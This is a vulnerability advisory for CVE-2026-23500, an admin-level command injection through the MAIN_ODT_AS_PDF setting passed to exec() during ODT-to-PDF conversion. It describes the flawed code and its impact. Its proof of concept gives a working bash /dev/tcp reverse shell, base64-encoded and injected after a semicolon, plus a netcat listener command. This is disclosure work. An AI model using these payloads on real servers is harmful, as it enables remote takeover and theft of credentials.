CVE-2026-23500

### Summary An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process. ### Details The vulnerability is located in `htdocs/includes/odtphp/odf.php`. When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting. Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930): ```php $command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name); // ... exec($command, $output_arr, $retval); ``` While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands. ### PoC **Prerequisites:** 1. Login as an Administrator. 2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup. **Steps to reproduce (Reverse Shell):** 1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`): ```bash nc -lvnp 4445 ``` 2. Prepare the payload. To avoid issues with special characters (like `&` or `>`) being escaped by the web application or shell, encode the reverse shell command in Base64: ```bash # Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1' echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64 # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK ``` 3. Navigate to **Home -> Setup -> Other Setup**. 4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload: ```bash jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash ``` *(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).* <img width="1898" height="696" alt="image" src="https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316" /> 5. Navigate to **Commerce -> New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**. <img width="1907" height="668" alt="image" src="https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242" /> <img width="1858" height="346" alt="image" src="https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7" /> <img width="848" height="183" alt="image" src="https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1" /> 6. Check the netcat listener. A connection will be established, granting a shell on the server: <img width="616" height="193" alt="image" src="https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37" /> ### Impact **Remote Code Execution (RCE).** An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for: - Reading sensitive configuration files (database credentials). - Modifying application code. - Full system compromise depending on server configuration (e.g., docker escape, pivoting). --- ### Credits Reported by Łukasz Rybak